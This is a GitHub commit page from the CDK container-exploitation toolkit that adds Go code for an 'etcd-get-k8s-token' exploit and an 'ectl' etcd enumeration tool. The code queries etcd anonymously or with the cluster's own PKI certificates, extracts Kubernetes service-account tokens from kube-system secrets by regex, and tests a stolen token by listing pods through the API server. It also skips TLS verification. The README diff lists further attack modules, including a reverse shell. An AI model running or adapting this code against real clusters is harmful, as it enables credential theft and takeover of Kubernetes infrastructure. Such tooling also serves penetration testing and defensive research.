Skip to content

Commit

Permalink
feat(etcd) cdk-team#52: get K8s service account token in ETCD
Browse files Browse the repository at this point in the history
* add etcd get k8s token

* etcd 代码补充

* something fix, not support etcd v2

* Remove unnecessary code
  • Loading branch information
404tk authored Jun 23, 2022
1 parent b71d8d6 commit 4eaa69e
Show file tree
Hide file tree
Showing 8 changed files with 392 additions and 11 deletions.
3 changes: 3 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -63,6 +63,7 @@ Tool:
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl <path> (get|post) <uri> <data> Make request to K8s api-server.
ectl <endpoint> get <key> Unauthorized enumeration of ectd keys.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Expand Down Expand Up @@ -136,6 +137,7 @@ cdk run <script-name> [options]
| Remote Control | Reverse Shell | reverse-shell ||| [link](https://github.com/cdk-team/CDK/wiki/Exploit:-reverse-shell) |
| Credential Access | Registry BruteForce | registry-brute ||| [link](https://github.com/cdk-team/CDK/wiki/Exploit:-Container-Image-Registry-Brute) |
| Credential Access | Access Key Scanning | ak-leakage ||| [link](https://github.com/cdk-team/CDK/wiki/Exploit:-ak-leakage) |
| Credential Access | Etcd Get K8s Token | etcd-get-k8s-token ||| |
| Credential Access | Dump K8s Secrets | k8s-secret-dump ||| [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-secret-dump) |
| Credential Access | Dump K8s Config | k8s-configmap-dump ||| [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-configmap-dump) |
| Privilege Escalation | K8s RBAC Bypass | k8s-get-sa-token ||| [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-get-sa-token) |
Expand All @@ -161,6 +163,7 @@ cdk ps
|ps|Process Information||[link](https://github.com/cdk-team/CDK/wiki/Tool:-ps)|
|ifconfig|Network Information||[link](https://github.com/cdk-team/CDK/wiki/Tool:-ifconfig)|
|vi|Edit Files||[link](https://github.com/cdk-team/CDK/wiki/Tool:-vi)|
|ectl|Unauthorized enumeration of ectd keys|||
|kcurl|Request to K8s api-server||[link](https://github.com/cdk-team/CDK/wiki/Tool:-kcurl)|
|dcurl|Request to Docker HTTP API||[link](https://github.com/cdk-team/CDK/wiki/Tool:-dcurl)|
|ucurl|Request to Docker Unix Socket||[link](https://github.com/cdk-team/CDK/wiki/Tool:-ucurl)|
Expand Down
5 changes: 3 additions & 2 deletions pkg/cli/banner.go
Original file line number Diff line number Diff line change
Expand Up @@ -62,6 +62,7 @@ var BannerContainerTpl = BannerHeader + `
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl <path> (get|post) <uri> [<data>] Make request to K8s api-server.
ectl <endpoint> get <key> Unauthorized enumeration of ectd keys.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Expand All @@ -73,11 +74,11 @@ var BannerContainerTpl = BannerHeader + `
// BannerContainer is the banner of CDK command line with colorful.
var BannerContainer = fmt.Sprintf(
BannerContainerTpl,
"Usage:",
"Usage:",
util.GreenBold.Sprint("Evaluate:"),
util.GreenBold.Sprint("Exploit:"),
util.GreenBold.Sprint("Tool:"),
"Options:",
"Options:",
)

var BannerServerless = BannerHeader + `
Expand Down
3 changes: 3 additions & 0 deletions pkg/cli/parse.go
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,7 @@ import (
"github.com/cdk-team/CDK/pkg/evaluate"
"github.com/cdk-team/CDK/pkg/plugin"
"github.com/cdk-team/CDK/pkg/tool/dockerd_api"
"github.com/cdk-team/CDK/pkg/tool/etcdctl"
"github.com/cdk-team/CDK/pkg/tool/kubectl"

"log"
Expand Down Expand Up @@ -142,6 +143,8 @@ func ParseCDKMain() {
vi.RunVendorVi()
case "kcurl":
kubectl.KubectlToolApi(args)
case "ectl":
etcdctl.EtcdctlToolApi(args)
case "ucurl":
dockerd_api.UcurlToolApi(args)
case "dcurl":
Expand Down
184 changes: 184 additions & 0 deletions pkg/exploit/etcd_get_k8s_token.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,184 @@
//go:build !no_etcd_get_k8s_token
// +build !no_etcd_get_k8s_token

/*
Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package exploit

import (
"crypto/tls"
"crypto/x509"
"fmt"
"io/ioutil"
"log"
"net/url"
"regexp"
"strings"

"github.com/cdk-team/CDK/pkg/cli"
"github.com/cdk-team/CDK/pkg/plugin"
"github.com/cdk-team/CDK/pkg/tool/etcdctl"
"github.com/cdk-team/CDK/pkg/tool/kubectl"
"github.com/tidwall/gjson"
)

const (
defaultEtcdCert = "/etc/kubernetes/pki/etcd/peer.crt"
defaultEtcdCertKey = "/etc/kubernetes/pki/etcd/peer.key"
defaultEtcdCa = "/etc/kubernetes/pki/etcd/ca.crt"
defaultEndpoint = "http://127.0.0.1:2379"
)

var k8sTokenPath = "/registry/secrets/kube-system/"

// plugin interface
type EtcdGetToken struct{}

func (p EtcdGetToken) Desc() string {
var buffer strings.Builder

buffer.WriteString("Connect to etcd and get token of k8s. ")
buffer.WriteString("Notice to choose anonymous|default (need CA Cert). ")
buffer.WriteString("Usage: cdk run etcd-get-k8s-token (anonymous|default) <endpoint> <cert> <cert_key> <ca>")

return buffer.String()
}

func (p EtcdGetToken) Run() bool {
args := cli.Args["<args>"].([]string)

var (
etcdCert = defaultEtcdCert
etcdCertKey = defaultEtcdCertKey
etcdCa = defaultEtcdCa
endpoint = defaultEndpoint
)

if len(args) == 0 {
fmt.Println("Example: cdk run etcd-get-k8s-token anonymous http://172.16.61.10:2379")
return false
}

tlsConfig := &tls.Config{}

if args[0] == "default" {
switch len(args) {
case 1:
case 2:
endpoint = args[1]
case 3:
endpoint = args[1]
etcdCert = args[2]
case 4:
endpoint = args[1]
etcdCert = args[2]
etcdCertKey = args[3]
default:
endpoint = args[1]
etcdCert = args[2]
etcdCertKey = args[3]
etcdCa = args[4]
}

cert, err := tls.LoadX509KeyPair(etcdCert, etcdCertKey)
if err != nil {
fmt.Println("[etcd-get-token] run failed:", err.Error())
return false
}
caData, err := ioutil.ReadFile(etcdCa)
pool := x509.NewCertPool()
pool.AppendCertsFromPEM(caData)
tlsConfig.Certificates = []tls.Certificate{cert}
tlsConfig.RootCAs = pool
} else {
if len(args) <= 1 {
return false
}
endpoint = args[1]
}

opt := etcdctl.EtcdRequestOption{
Endpoint: endpoint,
Api: "/v3/kv/range",
Method: "POST",
PostData: etcdctl.GenerateQuery("/"),
TlsConfig: tlsConfig,
Silent: true,
}

var flag bool
resp, err := etcdctl.DoRequest(opt)
if err != nil {
log.Println(err)
return flag
}
keys, err := etcdctl.GetKeys(resp, opt.Silent)
if err != nil {
log.Println(err)
return flag
}
for k := range keys {
if strings.HasPrefix(k, k8sTokenPath) {
opt.PostData = etcdctl.GenerateQuery(k)
resp1, err := etcdctl.DoRequest(opt)
if err != nil {
log.Println(err)
return flag
}
kvs, err := etcdctl.GetKeys(resp1, opt.Silent)
if err != nil {
log.Println(err)
return flag
}
for k, v := range kvs {
if strings.Contains(v, "#kubernetes.io/service-account-token") {
token := regexp.MustCompile("eyJh[\\w\\.-]+").FindString(v)
if token != "" {
flag = true
fmt.Println(fmt.Sprintf("[%s] %s", k, token))
resp, err := getPods(token, endpoint)
if err == nil {
pods := gjson.Get(resp, "items").Array()
result := fmt.Sprintf("[etcd-get-k8s-token] There are %d pods in kube-system namespace.", len(pods))
fmt.Println(result)
// Port 6443/https is requested by default. If the token is valid, the function return.
return flag
}
}
}
}
}
}
return flag
}

func getPods(token, endpoint string) (string, error) {
u, _ := url.Parse(endpoint)
opts := kubectl.K8sRequestOption{
Token: token,
Server: "https://" + strings.Replace(u.Host, ":"+u.Port(), ":6443", -1),
Api: "/api/v1/namespaces/kube-system/pods",
Method: "GET",
}
resp, err := kubectl.ServerAccountRequest(opts)
return resp, err
}

func init() {
exploit := EtcdGetToken{}
plugin.RegisterExploit("etcd-get-k8s-token", exploit)
}
126 changes: 126 additions & 0 deletions pkg/tool/etcdctl/common.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,126 @@
/*
Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package etcdctl

import (
"bytes"
"crypto/tls"
"encoding/base64"
"fmt"
"io/ioutil"
"net/http"
"strings"
"time"

"github.com/cdk-team/CDK/pkg/errors"
"github.com/tidwall/gjson"
)

type EtcdRequestOption struct {
Endpoint string
Api string
PostData string
TlsConfig *tls.Config
Method string
Silent bool
}

func DoRequest(opt EtcdRequestOption) (string, error) {
// http client
if opt.TlsConfig == nil || len(opt.TlsConfig.Certificates) == 0 || opt.TlsConfig.RootCAs == nil {
opt.TlsConfig = &tls.Config{InsecureSkipVerify: true}
}
client := &http.Client{
Transport: &http.Transport{
TLSClientConfig: opt.TlsConfig,
},
Timeout: time.Duration(5) * time.Second,
}

request, err := http.NewRequest(opt.Method, opt.Endpoint+opt.Api, bytes.NewBuffer([]byte(opt.PostData)))
if err != nil {
return "", &errors.CDKRuntimeError{Err: err, CustomMsg: "err found while generate post request in net.http ."}
}
request.Header.Set("Content-Type", "application/json")

resp, err := client.Do(request)
if resp != nil {
defer resp.Body.Close()
} else if err != nil {
return "", &errors.CDKRuntimeError{Err: err, CustomMsg: "err found in post request."}
}

content, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", &errors.CDKRuntimeError{Err: err, CustomMsg: "err found in post request."}
}

return string(content), nil
}

func GetKeys(content string, silent bool) (map[string]string, error) {
kvs := gjson.Get(content, "kvs").Array()
ret := make(map[string]string, len(kvs))
for _, k := range kvs {
name, err := base64.StdEncoding.DecodeString(k.Get("key").String())
if err != nil {
fmt.Println("base64 decode failed:", err.Error())
continue
}

ret[string(name)] = ""
if !silent {
fmt.Println(string(name))
}

if k.Get("value").Exists() {
v, _ := base64.StdEncoding.DecodeString(k.Get("value").String())
if !silent {
fmt.Println(string(v))
}
ret[string(name)] = string(v)
}
}
return ret, nil
}

func GenerateQuery(key string) (query string) {
b64key := base64.StdEncoding.EncodeToString([]byte(strings.TrimSuffix(key, "\n")))
if key == "/" {
bzero := base64.StdEncoding.EncodeToString([]byte{0})
query = fmt.Sprintf("{\"range_end\": \"%s\", \"key\": \"%s\", \"keys_only\":true}", bzero, b64key)
} else {
query = fmt.Sprintf("{\"key\": \"%s\"}", b64key)
}
return
}

// Only v3 version is supported,lower version support comments reserved.
func GetVersion(endpoint string) (string, string, error) {
opt := EtcdRequestOption{
Endpoint: endpoint,
Api: "/version",
Method: "GET",
}
resp, err := DoRequest(opt)
if err != nil {
return "", "", err
}
sv := gjson.Get(resp, "etcdserver").String()
cv := gjson.Get(resp, "etcdcluster").String()
return sv, cv, nil
}
Loading

0 comments on commit 4eaa69e

Please sign in to comment.